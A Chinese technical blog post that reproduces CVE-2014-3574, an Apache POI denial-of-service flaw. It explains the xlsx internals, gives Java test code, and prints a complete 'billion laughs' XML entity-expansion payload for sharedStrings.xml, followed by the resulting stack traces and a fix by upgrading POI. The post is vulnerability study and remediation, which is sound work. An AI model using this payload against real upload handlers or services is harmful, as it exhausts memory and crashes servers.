一、概述
最早的时候，java开发人员在操作excel的时候，用的最多的框架应该是poi、jxl。随着office的不断发展，office2007开始支持openXML的协议，后续陆续出现了新的框架支持操作office，如docx4j等。openXML使得数据的结构、组成更加透明，可以通过一定的操作看到内部完整的结构，如果仔细研究内部的属性，还可以进行更深层次的操作。当然，有利有弊，这也在一定程度上带来了麻烦，因为文件可以随意的更改内部的组成，在一定程度上给相关系统造成麻烦。
二、excel2007+的结构预览
关于更多openXML的信息，可以搜索查阅。下面主要对于excel的目录结构进行说明。
1、新建一个excel
要求为2007或以上，可以随便填写一些内容，然后将后缀更改为.zip，然后用压缩软件进行解压，查看目录结构，如下：
2、对xl目录下的文件进行分析
三、漏洞CVE-2014-3574现象
该漏洞可查看POI拒绝服务漏洞。该漏洞的本质是对xml进行解析的时候会进行N多次的递归，有点死循环的现象，造成CPU瞬间100%。如果该漏洞被攻击，可能导致业务不正常甚至服务器崩溃。如果是正常的office文件创建，是不会出现该问题的，只有在特定人为情况下，该漏洞才可能出现。
四、结合代码复现漏洞
在第二点说明excel内部结构的时候，可以看到内部有个shareStrings.xml，该文件主要用于常量字符串的定义。sheet.xml中会对该文件中的值进行依赖引用。所以要解析excel，事先肯定需要先将常量进行解析。下面的漏洞是对该文件进行操作造成的。
1、使用POI进行解析
我使用的是POI3.8
import java.io.FileInputStream;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
public class TestExcel {
public static void main(String[] args) throws Exception{
XSSFWorkbook wb = new XSSFWorkbook(new FileInputStream("D:/test.xlsx"));
Sheet sheet = wb.getSheetAt(0);
System.out.println(sheet.getPhysicalNumberOfRows());
}
}
如果是新创建的文件，此处可以正常打印出物理行数。
2、修改sharedStrings.xml，再进行运行
用zip打开excel文件，将sharedStrings.xml修改成以下内容
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
再重新运行，可以看到程序并不会很快的打印出物理行数，而是不断的运行（如果加启动参数verbose:gc，可以看到内存的不断回收）。过一会儿之后程序报出内存溢出的错误。正常来说，这个excel文件只有几K，应该是很快就可以得到结果，但是却运行了这么久，而且内存溢出，说明程序的某个地方可能进行了类似于死循环的情况。
3、再次调整sharedStrings.xml并运行
将sharedStrings.xml内容改为如下：
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> ]> <lolz>&lol2;</lolz>
执行，发现程序抛出如下异常：
Exception in thread "main" org.apache.poi.POIXMLException: java.lang.reflect.InvocationTargetException at org.apache.poi.xssf.usermodel.XSSFFactory.createDocumentPart(XSSFFactory.java:62) at org.apache.poi.POIXMLDocumentPart.read(POIXMLDocumentPart.java:403) at org.apache.poi.POIXMLDocument.load(POIXMLDocument.java:155) at org.apache.poi.xssf.usermodel.XSSFWorkbook.<init>(XSSFWorkbook.java:190) at TestExcel.main(TestExcel.java:10) Caused by: java.lang.reflect.InvocationTargetException at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:39) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:27) at java.lang.reflect.Constructor.newInstance(Constructor.java:513) at org.apache.poi.xssf.usermodel.XSSFFactory.createDocumentPart(XSSFFactory.java:60) ... 4 more Caused by: java.io.IOException: error: The document is not a [email protected]://schemas.openxmlformats.org/spreadsheetml/2006/main: document element mismatch got lolz at org.apache.poi.xssf.model.SharedStringsTable.readFrom(SharedStringsTable.java:125) at org.apache.poi.xssf.model.SharedStringsTable.<init>(SharedStringsTable.java:102) ... 9 more
此时没有抛出异常，说明对该文件的解析已经完成，并且判定了该文件的格式不正确。
4、分析
首先对sharedStrings.xml中添加的内容进行分析。拿第二点的数据，<lolz>&lol9;</lolz>代表引用ENTITY lol9，而ENTITY lol9由10个lol8组成，每个lol8又是由10个1ol7组成，所以将会一直的递归，次数会达到10^9。该次数可能导致机器短时间内的CPU暴涨，据计算，需要将近3G的内存，所以运行的时候，程序会不断在跑，最终抛出内存溢出的错误，如果在一台内存足够大的机器上，应该是CPU一直沾满，程序一直在跑直到结束为止；第3点的数据，由于数据很小，只有10^2=100次的计算，所以程序很快就结束，继续下面的流程时检查到文件内的格式等错误，抛出了相应的异常。
5、解决方案
将POI升级到3.12可以解决该问题，运行过程中会抛出异常。运行刚刚的文件，会抛出异常
Exception in thread "main" java.lang.NullPointerException at com.sun.org.apache.xerces.internal.dom.DeferredDocumentImpl.setChunkIndex(DeferredDocumentImpl.java:1944) at com.sun.org.apache.xerces.internal.dom.DeferredDocumentImpl.appendChild(DeferredDocumentImpl.java:644) at com.sun.org.apache.xerces.internal.parsers.AbstractDOMParser.characters(AbstractDOMParser.java:1191) at com.sun.org.apache.xerces.internal.impl.dtd.XMLDTDValidator.characters(XMLDTDValidator.java:862) at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(XMLDocumentFragmentScannerImpl.java:463) at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:807) at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:737) at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:107) at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:225) at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:283) at javax.xml.parsers.DocumentBuilder.parse(DocumentBuilder.java:124) at org.apache.poi.util.DocumentHelper.readDocument(DocumentHelper.java:96) at org.apache.poi.openxml4j.opc.internal.unmarshallers.PackagePropertiesUnmarshaller.unmarshall(PackagePropertiesUnmarshaller.java:108) at org.apache.poi.openxml4j.opc.OPCPackage.getParts(OPCPackage.java:713) at org.apache.poi.openxml4j.opc.OPCPackage.open(OPCPackage.java:275) at org.apache.poi.util.PackageHelper.open(PackageHelper.java:37) at org.apache.poi.xssf.usermodel.XSSFWorkbook.<init>(XSSFWorkbook.java:266) at TestExcel.main(TestExcel.java:10)
五、扩展
如果前端请求，后端响应XML内容，XML的内容如上，结果会怎样呢？测试代码如下
public class TestServlet extends HttpServlet {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
resp.setContentType("text/xml;charset=utf-8");
InputStream is = new FileInputStream(new File("d:/test.xml"));
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String s = null;
while((s = reader.readLine())!=null){
resp.getWriter().write(s);
}
reader.close();
resp.getWriter().close();
}
}
web.xml配置：
<servlet>
<servlet-name>test</servlet-name>
<servlet-class>TestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>test</servlet-name>
<url-pattern>/test.do</url-pattern>
</servlet-mapping>
前端请求http://localhost:8080/poi/test.do如果xml文件的个数比较少，到lol2，则Chrome和IE都可以打开显示内容：
，但是，如果将个数调整为3个以上，则IE浏览器仍然会继续渲染10^N，但是Chrome此时已经有了提示，说XML中存在循环：
